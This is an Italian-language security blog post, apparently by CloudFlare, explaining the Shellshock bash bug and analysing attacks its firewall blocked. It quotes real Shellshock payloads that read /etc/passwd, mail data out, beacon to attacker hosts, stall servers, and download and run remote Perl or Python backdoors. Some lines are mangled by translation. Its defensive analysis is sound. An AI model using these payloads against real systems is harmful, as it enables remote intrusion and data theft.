Mercoledì della scorsa settimana, sono emersi i dettagli del bug Shellshock bash. Questo bug ha avviato una corsa per patchare computer, server, router, firewall e altre appliance informatiche utilizzando versioni vulnerabili di bash.

CloudFlare ha immediatamente implementato la protezione per i clienti Pro, Business e Enterprise attraverso il nostro firewall per applicazioni Web. Domenica scorsa, dopo aver studiato l’entità del problema e aver esaminato i registri degli attacchi fermati dal nostro WAF, abbiamo deciso di implementare la protezione anche per i nostri clienti del piano gratuito.

Da allora abbiamo monitorato gli attacchi che abbiamo interrotto per capire come sono e da dove provengono. Sulla base delle nostre osservazioni, è chiaro che gli hacker stanno sfruttando Shellshock in tutto il mondo.

(CC BY 2.0 aussiegall)

Eject

Il problema Shellshock è un esempio di una vulnerabilità arbitrary code execution (ACE). In genere, gli attacchi di vulnerabilità ACE vengono eseguiti su programmi in esecuzione e richiedono una comprensione altamente sofisticata degli interni dell’esecuzione del codice, del layout della memoria e del linguaggio assembly—in breve, questo tipo di attacco richiede un esperto.

Attaccante utilizzerà anche una vulnerabilità ACE per caricare o eseguire un programma che dà loro un modo semplice di controllare la macchina mirata. Questo è spesso ottenuto eseguendo una “shell”. Una shell è una riga di comando in cui i comandi possono essere inseriti ed eseguiti.

La vulnerabilità Shellshock è un grosso problema perché rimuove la necessità di conoscenze specialistiche e fornisce un modo semplice (sfortunatamente, molto semplice) di prendere il controllo di un altro computer (come un server Web) e farlo eseguire codice.

Supponiamo per un momento di voler attaccare un server Web e aprire la diapositiva dell’unità CD o DVD. In realtà c’è un comando su Linux che lo farà: /bin/eject. Se un server web è vulnerabile allo Shellshock, è possibile attaccarlo aggiungendo la stringa magica () { :; }; a /bin/eject e quindi inviando tale stringa al computer di destinazione tramite HTTP. Normalmente, la stringaUser-Agent identificherebbe il tipo di browser che si sta utilizzando, ma, nel caso della vulnerabilità Shellshock, può essere impostata per dire qualsiasi cosa.

Ad esempio, se example.com era vulnerabile quindi

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

sarebbe sufficiente per espellere effettivamente l’unità CD o DVD.

Nel monitorare gli attacchi Shellshock che abbiamo bloccato, abbiamo effettivamente visto qualcuno tentare proprio quell’attacco. Quindi, se si esegue un server web e improvvisamente trovare un DVD espulso potrebbe essere un’indicazione che la macchina è vulnerabile a Shellshock.

Perché funziona questo semplice attacco

Quando un server web riceve una richiesta per una pagina ci sono tre parti della richiesta che possono essere suscettibili all’attacco Shellshock: l’URL della richiesta, le intestazioni inviate insieme all’URL e quelli noti come “argomenti” (quando si immette il nome e l’indirizzo su un sito Web, in genere vengono inviati come argomenti nella richiesta).

Per esempio, qui c’è una reale richiesta HTTP che recupera il CloudFlare homepage:

GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.com

In questo caso l’URL è / (pagina principale) e le intestazioni sono Accept-EncodingAccept-Language, etc. Queste intestazioni forniscono al server Web informazioni sulle funzionalità del mio browser web, sulla lingua preferita, sul sito web che sto cercando e sul browser che sto utilizzando.

Non è raro che questi vengano trasformati in variabili all’interno di un server Web in modo che il server Web possa esaminarli. (Il server web potrebbe voler sapere qual è la mia lingua preferita in modo che possa decidere come rispondere a me).

Ad esempio, all’interno del server web che risponde alla richiesta per la home page di CloudFlare è possibile che le seguenti variabili siano definite copiando le intestazioni delle richieste carattere per carattere.

HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.com

Finché tali variabili rimangono all’interno del software del server Web e non vengono passate ad altri programmi in esecuzione sul server Web, il server non è vulnerabile.

Shellshock si verifica quando le variabili vengono passate nella shell chiamata “bash”. Bash è una shell comune utilizzata su sistemi Linux. I server Web hanno spesso bisogno di eseguire altri programmi per rispondere a una richiesta, ed è comune che queste variabili vengano passate in bash o in un’altra shell.

Il problema Shellshock si verifica specificamente quando un utente malintenzionato modifica la richiesta HTTP di origine per contenere la stringa magica () { :; }; discussa sopra.

Supponiamo che l’attaccante cambi l’intestazione User-Agent sopra daMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 semplicemente() { :; }; /bin/eject. Questo crea la seguente variabile all’interno di un server Web:

HTTP_USER_AGENT=() { :; }; /bin/eject

Se quella variabile viene passata in bash dal server Web, si verifica il problema dello Shellshock. Questo perché bash ha regole speciali per la gestione di una variabile che inizia con () { :; };. Piuttosto che trattare la variabile HTTP_USER_AGENT come una sequenza di caratteri senza significato speciale, bash interpreta come un comando che deve essere eseguito (l’ho omesso l’profondamente tecnico spiegazioni del perché () { :; }; ti bash si comportano così, per amor di chiarezza in questo saggio.)

Il problema è che HTTP_USER_AGENT proviene dall’intestazione User-Agent che è qualcosa che un utente malintenzionato controlla perché entra nel server Web in una richiesta HTTP. E questa è una ricetta per il disastro perché un utente malintenzionato può far eseguire a un server vulnerabile qualsiasi comando desideri (vedi esempi sotto).

La soluzione è aggiornare bash a una versione che non interpreta() { :; }; in un modo speciale.

Da dove provengono gli attacchi

Quando abbiamo implementato la protezione per tutti i clienti abbiamo messo in atto una metrica che ci ha permesso di monitorare il numero di attacchi Shellshock tentati. Tutti hanno ricevuto un HTTP 403 codice di errore proibito, ma abbiamo mantenuto un registro di quando si sono verificati e le informazioni di base circa l’attacco.

Questo grafico mostra il numero di attacchi al secondo attraverso la rete CloudFlare da quando è stata implementata la protezione per tutti i clienti.

Dal momento in cui CloudFlare ha attivato la nostra protezione Shellshock fino alle prime ore di questa mattina, abbiamo assistito da 10 a 15 attacchi al secondo. In ordine di volume di attacco, queste richieste provenivano da Francia (80%), Stati Uniti (7%), Paesi Bassi (7%), e poi volumi più piccoli da molti altri paesi.

A circa 0100 Pacific (1000 a Parigi) gli attacchi dalla Francia cessarono. Attualmente stiamo assistendo a circa 5 attacchi al secondo. Al momento della scrittura, abbiamo bloccato ben oltre gli attacchi Shellshock 1.1 m.

Lascia correre la tua immaginazione

Poiché è così facile attaccare macchine vulnerabili con Shellshock, e poiché una macchina vulnerabile eseguirà qualsiasi comando inviato ad essa, gli aggressori hanno lasciato correre la loro immaginazione con modi per manipolare i computer in remoto.

WAF di CloudFlare registra il motivo per cui ha bloccato una richiesta permettendoci di estrarre e analizzare le stringhe Shellshock effettive utilizzate. Shellshock viene utilizzato principalmente per la ricognizione: per estrarre informazioni private, e per consentire agli aggressori di ottenere il controllo dei server.

La maggior parte dei comandi Shellshock vengono iniettati utilizzando le intestazioni HTTP User-Agent e Referer, ma gli aggressori utilizzano anche argomenti GET e POST e altre intestazioni HTTP casuali.

Per estrarre informazioni private, gli aggressori utilizzano un paio di tecniche. Gli attacchi di estrazione più semplici sono nella forma:

() {:;}; /bin/cat /etc/passwd

Che legge il file della password /etc/passwd, e lo aggiunge alla risposta dal server web. Quindi un utente malintenzionato che inietta questo codice attraverso la vulnerabilità Shellshock vedrebbe il file della password scaricato sul proprio schermo come parte della pagina web restituita.

In un attacco semplicemente email file privati a se stessi. Per ottenere i dati via e-mail, gli aggressori utilizzano il comando mail in questo modo:

() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' 

Tale comando esegue prima whoami per scoprire il nome dell’utente che esegue il server web. Ciò è particolarmente utile perché se il server Web viene eseguito come root (il superutente che può fare qualsiasi cosa), il server sarà un obiettivo particolarmente ricco.

Invia quindi il nome utente insieme al nome del sito web attaccato (example.com sopra) via e-mail. Il nome del sito web viene visualizzato nella riga dell’oggetto dell’e-mail.

A loro piacimento, l’utente malintenzionato può accedere alla propria e-mail e scoprire quali siti erano vulnerabili. La stessa tecnica di posta elettronica può essere utilizzata per estrarre dati come il file della password.

(CC DI 2.0 JD Hancock)

Reconnaissance

Di gran lunga l’attacco più popolare che abbiamo visto (circa l ‘ 83% di tutti gli attacchi) si chiama “reconnaissance”. Negli attacchi di ricognizione, l’attaccante invia un comando che invierà un messaggio a una macchina di terze parti. La macchina di terze parti compilerà quindi un elenco di tutte le macchine vulnerabili che l’hanno contattata.

In passato, abbiamo visto elenchi di macchine compromesse trasformate in botnet per DDoS, spam o altri scopi.

Una tecnica di ricognizione popolare utilizza il comandoping per ottenere una macchina vulnerabile per inviare un singolo pacchetto (chiamato ping) a un server di terze parti che l’attaccante controlla. La stringa di attacco ha il seguente aspetto:

() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

Il comando ping viene normalmente utilizzato per verificare se una macchina è “viva” o online (una macchina viva risponde con il proprio ping). Se un server web è vulnerabile a Shellshock, invierà un singolo pacchetto ping (-c 1) all’attaccante-macchina.com con un payload impostato dal -p. Il payload è un ID univoco creato dall’utente malintenzionato in modo che possa rintracciare il ping al sito Web vulnerabile.

Un’altra tecnica utilizzata per identificare i server vulnerabili è quella di fare in modo che il server web scarichi una pagina Web da una macchina controllata da un utente malintenzionato. L’attaccante può quindi guardare nei loro log del server Web per scoprire quale macchina era vulnerabile. Questo attacco funziona inviando una stringa Shellshock come:

() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null

L’attaccante cerca nel log del server web di attacker-controlled.com per le voci. La pagina scaricata viene impostata dall’utente malintenzionato per rivelare il nome del sito attaccato. Il ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== è in realtà un codice che indica che il sito attaccato era example.com.

ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== è in realtà una stringa codificata base64. Quando viene decodificato si legge:

example.comShellShockSalt

Da questa stringa l’attaccante può scoprire se il loro attacco su example.com ha avuto successo, e, se è così, possono poi tornare più tardi per sfruttare ulteriormente quel sito. Mentre ho sostituito il dominio che era l’obiettivo, stiamo vedendo esempi reali in natura in realtà usando ShellShockSalt come sale nell’hash.

di tipo Denial of Service

un Altro Shellshock attacco usa questa stringa

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

Si tenta di eseguire il sleep comando in tre modi diversi (dal momento che i sistemi sono leggermente diverse configurazioni, il sonno può essere trovato nella directory /bin o /sbin o /usr/bin). Qualunque sia il sonno che viene eseguito, fa sì che il server attenda 20 secondi prima di rispondere . Ciò consumerà risorse sulla macchina perché un thread o un processo che esegue sleep non farà altro per 20 secondi.

Questo è forse il più semplice denial-of-service di tutti. Gli aggressori semplicemente dice alla macchina di dormire per un po’. Invia abbastanza di questi comandi e la macchina potrebbe essere legata senza fare nulla e incapace di soddisfare richieste legittime.

(CC BY 2.0 peter castleton)

Taking Control

Circa l ‘ 8% degli attacchi che abbiamo visto finora sono stati mirati a prendere direttamente il controllo di un server. Telecomando attacchi in questo modo:

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

Questo comando tenta di utilizzare due programmi (wget e curl) per scaricare un programma da un server che l’attaccante controlli. Il programma è scritto in lingua Perl e una volta scaricato viene immediatamente eseguito. Questo programma imposta l’accesso remoto per un utente malintenzionato al server Web vulnerabile.

Un altro attacco utilizza il linguaggio Python per impostare un programma che può essere utilizzato per eseguire in remoto qualsiasi comando sulla macchina vulnerabile:

() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"

Ilcl.py programma scaricato è fatto per apparire come un aggiornamento del programma antivirus ClamAV. Dopo un ritardo di 5 secondi, l’attacco si pulisce da solo rimuovendo il file scaricato (lasciandolo in esecuzione solo in memoria).

(CC BY 2.0 Jeff Taylor)

Selezione target

Guardando i siti web che vengono attaccati e gli URL richiesti, è possibile fare un’ipotesi plausibile sulle specifiche applicazioni web che vengono attaccate.

Gli URL principali che abbiamo visto attaccati sono: /(23.00%), / cgi-bin-sdb / printenv (15.12%), /cgi-mod/indice.cgi (14,93%), /cgi-sys/entropysearch.per maggiori informazioni clicca qui.cgi(14,59%). Alcuni di questi URL sono utilizzati da applicazioni Web popolari e persino da un’appliance hardware.

Sembra che il 23% degli attacchi siano diretti contro il software di controllo del web hosting cPanel, il 15% contro le vecchie installazioni Apache e il 15% contro i prodotti hardware Barracuda che hanno un’interfaccia basata sul web.

Quest’ultimo è interessante perché evidenzia il fatto che Shellshock non è solo un attacco ai siti web: è un attacco a tutto ciò che è in esecuzione bash e accessibile attraverso Internet. Che potrebbe includere dispositivi hardware, set-top box, computer portatili, anche, forse, telefoni.